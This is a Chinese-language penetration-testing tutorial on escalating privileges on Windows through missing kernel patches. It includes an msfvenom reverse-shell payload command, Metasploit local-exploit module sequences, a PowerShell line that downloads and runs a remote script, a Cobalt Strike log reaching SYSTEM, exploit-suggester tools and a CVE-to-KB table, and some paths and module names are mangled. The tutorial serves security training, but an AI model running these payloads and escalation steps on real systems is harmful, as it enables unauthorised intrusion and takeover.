发布时间:2025-12-09 12:00:18 浏览次数:2
在后渗透测试阶段,权限提升是一个绕不开的话题,其中"系统内核溢出提权"因其利用便捷成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁,之后去找补丁的"互补"补丁,并利用对应的提权类的漏洞实现权限提升,本篇文章主要围绕"系统内核溢出提权"的一些方法、思路进行简易介绍~
在获取到目标系统的shell后,我们需要先确认以下当前用户以及用户权限,这一点可以通过在shell中输入"whoami"以及"whoami /groups"来确定:
whoamiwhoami /groups从上面的显示结果可以看到当前用户为" win-op8vb0nlureal1ex",权限为"Mandatory LabelMedium Mandatory Level",而这里的"Mandatory LabelMedium Mandatory Level"是一个标准的普通用户权限,而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory Level"。
利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提权的补丁进行提权,下面介绍几种常见的补丁查询思路与方法
在Windows操作系统中我们可以通过执行systeminfo来查看目标机器上安装的补丁信息:
systeminfo从上图可以看到这里安装了三个补丁:
同时我们也可以通过WMIC来快速查看当前系统安装的补丁信息:
wmic qfe get Caption,Description,HotFixID,InstalledOn如果想要查询系统是否安装某一个特定的补丁,可以通过以下命令进行简易查询:
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111" /c:"KB976902"既然已经确定了当前系统的补丁信息,那么后续如何利用呢?当然是去查找缺失的、可以利用的补丁了!但是怎么找呢?不可能在茫茫大海中找吧?当然不是,这里推荐一个辅助网站:https://bugs.hacking8.com/tiquan/
我们可以在"补丁号"选项框中输入当前系统的补丁信息,之后进行查询来获取当前系统的缺失的、可以利用的补丁信息,这里以上面查询的补丁信息为例:
之后可以根据补丁来推荐相关的漏洞利用EXP,不过在使用EXP时还需要主要影响的操作系统:
关于提权类的EXP,这里推荐一个项目:https://github.com/Al1ex/WindowsElevation
该项目源自SecWiki维护的Windows-kernel-exploit,但是由于原作者不再更新与维护所以后期由笔者重新进行构建维护,同时也涵盖了Bypass UAC系列,目前还在不断的更新与完善中,同时该项目也主要用于收集网络上公开的各大有价值的漏洞EXP/POC~
MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据漏洞编号快速查找目标系统中的补丁信息,下面以目标主机为例做一个简单的演示:
首先,我们需要获取目标主机的一个Shell,这里我们再测试环境中直接通过MSFvenom来生成Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f exe > shell.exe之后在MSF中设置监听:
之后再目标主机中执行EXE
之后成功返回会话:
之后在Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP,MSF5好像不提供了):
run post/windows/gather/enum_patches于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:
run post/multi/recon/local_exploit_suggester其他一些常见的模块例如:
Windows ClientCopyImage Win32k Exploit:
Windows内核模式驱动程序中的漏洞可能允许特权提升,此模块利用win32k.sys内核模式驱动程序中不正确的对象处理,此模块已在Windows 7 x64和x86、Windows 2008 r2 sp1 x64的易受攻击版本上进行了测试
use exploit/windows/local/ms15_051_client_copy_imageset lhost 192.168.1.107set session 1exploitWindows TrackPopupMenu Win32k NULL Pointer Dereference:
此模块已在Windows xp sp3、Windows server 2003 sp2、Windows 7 sp1、Windows server 2008 r2位和Windows server 2008 r2 sp1 64位上进行了测试
use exploit/windows/local/ms14_058_track_popup_menuset lhost 192.168.1.107set session 1exploitWindows SYSTEM Escalation via KiTrap0D:
use exploit/windows/local/ms10_015_kitrap0dset lhost 192.168.1.107set session 1exploitWindows Escalate Task Scheduler XML Privilege Escalation:
use exploit/windows/local/ms10_092_schelevatorset lhost 192.168.1.107set session 1exploitMS16-016 mrxdav.sys WebDav Local Privilege Escalation:
use exploit/windows/local/ms16_016_webdavset lhost 192.168.1.107set session 1exploitEPATHOBJ::pprFlattenRec Local Privilege Escalation:
use exploit/windows/local/ppr_flatten_recset lhost 192.168.1.107set session 1exploitMS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow:
use exploit/windows/local/ms13_053_ schlampereiset lhost 192.168.1.107set session 1exploitMS16-032 Secondary Logon Handle Privilege Escalation:
use exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1exploitEmpire框架也提供了关于内核溢出漏洞提权的漏洞利用方法,下面进行简单演示:
usemodule privesc/powerup/allchecksexecutePS:总体来看效果不是很理想,不如MSF~
Sherlock(https://github.com/rasta-mouse/Sherlock)是一个在Windows下用于本地提权的PowerShell脚本,目前包含了以下漏洞:
该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取webshell的主机中直接上传即可):
Import-Module .Sherlock.ps1当然也可以远程加载:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')之后执行以下命令来列举当前系统中所有可利用的漏洞:
Find-AllVulns当然你也可以搜索某一个特定漏洞,例如:
Find-CVE20177199根据Sherlock的说明目前CS已经可以实现" 导入模块——>查询单一漏洞——>直接提权 "的一套流程了,下面是Github中的实例:
beacon> getuid[*] Tasked beacon to get userid[+] host called home, sent: 20 bytes[*] You are Win7-x64Rastabeacon> powershell-import C:UsersRastaDesktopSherlock.ps1[*] Tasked beacon to import: C:UsersRastaDesktopSherlock.ps1[+] host called home, sent: 2960 bytesbeacon> powershell Find-MS14058[*] Tasked beacon to run: Find-MS14058[+] host called home, sent: 20 bytes[+] received output:Title : TrackPopupMenu Win32k Null Pointer DereferenceMSBulletin : MS14-058CVEID : 2014-4113Link : https://www.exploit-db.com/exploits/35101/VulnStatus : Appears Vulnerablebeacon> elevate ms14-058 smb[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)[+] host called home, sent: 105015 bytes[+] received output:[*] Getting Windows version...[*] Solving symbols...[*] Requesting Kernel loaded modules...[*] pZwQuerySystemInformation required length 51216[*] Parsing SYSTEM_INFO...[*] 173 Kernel modules found[*] Checking module SystemRootsystem32ntoskrnl.exe[*] Good! nt found as ntoskrnl.exe at 0x0264f000[*] ntoskrnl.exe loaded in userspace at: 40000000[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0[*] Registering class...[*] Creating window...[*] Allocating null page...[*] Getting PtiCurrent...[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0[*] Creating a fake structure at NULL...[*] Triggering vulnerability...[!] Executing payload...[+] host called home, sent: 204885 bytes[+] established link to child beacon: 192.168.56.105beacon> getuid[*] Tasked beacon to get userid[+] host called home, sent: 8 bytes[*] You are NT AUTHORITYSYSTEM (admin)PS:关于该Powershell的利用还有很多单一漏洞的查询,读者可以根据源码进行分析~
Windows-Exploit-Suggester(https://github.com/GDSSecurity/Windows-Exploit-Suggester )是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,,它是用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd,其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。
Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址:http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982 。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。
安装依赖xlrd:
pip install xlrd之后下载Windows-Exploit-Suggester项目到本地:
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester之后执行以下命令,自动从微软官网下载安全公告数据库,下载的文件会自动保存在当前目录下:
./windows-exploit-suggester.py --update之后在目标系统中获取systeminfo信息并将其保存到一个txt文件夹中:
systeminfo > sysinfo.txt之后将目标系统中的sysinfo.txt文件复制出来,到安装有Windows-Exploit-Suggester的主机上去执行如下命令,查询系统中存在的可用漏洞信息,这里的参数d为指定漏洞库,也就是之前跟新漏洞库后的xlsx文件:
./windows-exploit-suggester.py -d 2020-09-09-mssb.xls -i sysinfo.txt总体上效果还不错,挺让人满意的,不过该工具也有一个缺点——更新数据库后下载的数据库最新的2017年的,有点局限
最后给出一个常用的补丁列表信息,可能数据有点成旧哈~
CVE ID | MS ID | KB | Operating System |
|---|---|---|---|
CVE-2003-0352 | MS03-026 | KB823980 | Windows 2003/XP/2000/NT 4.0/Server 2003 |
CVE-2005-1983 | MS05-039 | KB899588 | Windows 2000/XP SP1/Server 2003 |
CVE-2006-3439 | MS06-040 | KB921883 | Windows 2000/XP/Server 2003 |
CVE-2008-1084 | MS08-025 | KB941693 | Windows 2000/XP/Server 2003/Vista SP1/Server 2008 |
CVE-2008-3464 | MS08-066 | KB910723 | Windows XP/Server 2003 |
CVE-2008-4037 | MS08-068 | KB887429 | Windows XP/Server 2000/Vista/Server 2008 |
CVE-2008-4250 | MS08-067 | KB958644 | Windows XP/Vista/Server 2000 2003 2008 |
CVE-2009-0079 | MS09-012 | KB956572 | Windows XP/Server 2000 2003 2008/Vista |
CVE-2009-1535 | MS09-020 | KB970483 | Windows XP/Server 2000 2003 |
CVE-2009-2532 | MS09-050 | KB975517 | Windows Vista/Server 2008 |
CVE-2010-0020 | MS10-020 | KB980232 | Windows XP/2000/2003/2008/2008 R2/Vista/7 |
CVE-2010-0232 | MS10-015 | KB977165 | Windows 2000/XP/2003/Vista/2008/7 |
CVE-2010-1887 | MS10-048 | KB2160329 | Windows XP/2003/2008/7/Vista |
CVE-2010-1899 | MS10-065 | KB2271195 | Windows XP/2003/2008/7/Vista |
CVE-2010-2554 | MS10-059 | KB982799 | Window Vista/2008/7 |
CVE-2010-3338 | MS10-092 | KB2305420 | Windows Vista/7/2008 |
CVE-2010-4398 | MS11-011 | KB2393802 | Windows XP/Server 2003/Vsita/2008/7 |
CVE-2011-1249 | MS11-046 | KB2503665 | Windows XP/2003/2008 |
CVE-2011-1974 | MS11-062 | KB2566454 | Windows XP/2003 |
CVE-2011-2005 | MS11-080 | KB2592799 | Windows XP/Server 2003 |
CVE-2012-0002 | MS12-020 | KB2621440 | Winodws XP/2003/2008/Vista/7 |
CVE-2013-0008 | MS13-005 | KB2778930 | Windows Vista/2008/2012/7/8/RT |
CVE-2013-1300 | MS13-053 | KB2850851 | Windows XP/2003/2008/2012/7/8 |
CVE-2013-1332 | MS13-046 | KB2829361 | Windows XP/2003/2008/2012/7/8/RT |
CVE-2013-5065 | MS14-002 | KB2914368 | Windows XP/2003 |
CVE-2014-1767 | MS14-040 | KB2961072 | Windows XP/2003/2008/2012/7/8/RT/Vista |
CVE-2014-2814 | MS14-042 | KB2972621 | Windows Server 2008/2012 |
CVE-2014-4076 | MS14-070 | Windows 2003 | |
CVE-2014-4113 | MS14-058 | KB3000061 | Windows 2003/2008/2012/Vista/7/RT |
CVE-2014-6321 | MS14-066 | Windows server 2003/2008/2012/Vista/7 | |
CVE-2014-6324 | MS14-068 | Windows 2003/2008/2012/Vista/7/8 | |
CVE-2015-0002 | MS15-001 | Windows 7/8/2008/2012/ | |
CVE-2015-0057 | MS15-010 | Windows 2003/2008/2012/vista/7/8/RT | |
CVE-2015-0062 | MS15-015 | Windows 7/8/2008/2012/RT | |
CVE-2015-0097 | MS15-022 | Microsoft Office 2007/2010/2013/RT | |
CVE-2015-1701 | MS15-051 | KB3065979 | WIndows 2003/2008/2012/Vista/7/8 |
CVE-2015-1726 | MS15-061 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2370 | MS15-076 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2387 | MS15-077 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2517 | MS15-097 | KB3081455 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0040 | MS16-014 | KB3135174 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0051 | MS16-016 | KB3135173 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0093 | MS16-034 | KB3140745 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0099 | MS16-032 | KB3140768 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-3225 | MS16-075 | KB3163017 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-3305 | MS16-111 | KB3185611 | Windows 2008/2012/Vista/RT/7/8/10 |
CVE-2016-3308 | MS16-098 | KB3176492 | Windows 2008/2012/Vista/RT/7/8/10 |
CVE-2016-7214 | MS16-135 | KB3198234 | Windows Vista/2008/2012/2016/7/8 |
CVE-2017-0050 | MS17-017 | KB4011981 | Windows Vista/2008/2012/2016/7/8/10 |
CVE-2017-0143 | MS17-010 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2017-0213 | KB4038788 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2017-8464 | KB4022727 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2018-0833 | KB4074594 | Windows 8/2012 R2/RT | |
CVE-2018-8120 | KB4103718 | Windows 2008/2008 R2/7 | |
CVE-2019-0803 | KB4493471 | Windows Vista/2008/2012/2016/2019/7/8/10 | |
CVE-2019-0863 | KB4494440 | Windows 2008/7/8/10 | |
CVE-2019-1253 | KB4515384 | Windows 10 1903/1709/1803/1703 | |
CVE-2019-1405 | KB4525235 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0668 | KB4532693 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0683 | KB4532691 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0787 | KB4541505 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0796 | KB4499165 | Windows 10 1909/1903/ | |
CVE-2020-1054 | KB4556826 | Windows 2008/2012/7/8/10 | |
CVE-2020-1066 | KB4552965 | Microsoft .NET Framework 3.5.1/3.0 | |
CVE-2020-1337 | KB4571694 | Windows 2012/7/10 | |
CVE-2020-1362 | KB4565503 | Windows 10 1903/1809/1607/2004/1709 |